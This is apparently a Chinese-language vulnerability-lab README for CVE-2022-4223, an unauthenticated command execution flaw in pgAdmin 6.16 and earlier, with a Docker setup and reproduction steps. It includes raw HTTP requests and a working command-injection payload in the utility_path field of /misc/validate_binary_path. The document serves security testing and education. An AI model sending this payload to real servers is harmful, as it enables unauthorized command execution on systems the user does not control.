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64 lines
1.9 KiB
Markdown
64 lines
1.9 KiB
Markdown
# pgAdmin <= 6.16 无授权远程命令执行漏洞(CVE-2022-4223)
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pgAdmin是一个著名的PostgreSQL数据库管理平台。
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pgAdmin包含一个HTTP API可以用来让用户选择并验证额外的PostgreSQL套件,比如pg_dump和pg_restore。但在其6.16版本及以前,对于用户传入的路径没有做合适的验证,导致未授权的用户可以在目标服务器上执行任意命令。
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参考链接:
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- <https://github.com/pgadmin-org/pgadmin4/commit/799b6d8f7c10e920c9e67c2c18d381d6320ca604>
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- <https://github.com/pgadmin-org/pgadmin4/commit/461849c2763e680ed2296bb8a753ca7aef546595>
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- <https://github.com/advisories/GHSA-3v6v-2x6p-32mc>
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## 漏洞环境
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执行如下命令启动一个pgAdmin 6.16服务器:
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```
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docker compose up -d
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```
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服务器启动后,访问`http://your-ip:5050`即可查看到pgAdmin默认的登录页面。
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## 漏洞复现
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在复现漏洞前,需要发送如下数据包获取CSRF token:
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```
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GET /login HTTP/1.1
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Host: your-ip:5050
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Accept: application/json, text/plain, */*
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User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
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Accept-Encoding: gzip, deflate, br
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Accept-Language: en,zh-CN;q=0.9,zh;q=0.8,en-US;q=0.7
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Connection: close
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```
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在返回包中拿到一个新的session id和csrf token:
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然后,将获取到的session id和csrf token填写进下面的数据包并发送:
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```
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POST /misc/validate_binary_path HTTP/1.1
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Host: your-ip:5050
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Content-Length: 27
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X-pgA-CSRFToken: [csrf-token]
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Accept: application/json, text/plain, */*
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User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
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Content-Type: application/json
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Accept-Encoding: gzip, deflate, br
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Accept-Language: en,zh-CN;q=0.9,zh;q=0.8,en-US;q=0.7
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Cookie: pga4_session=[session-id]
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Connection: close
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{"utility_path":"a\";id;#"}
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```
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可见,`id`命令已经被成功执行:
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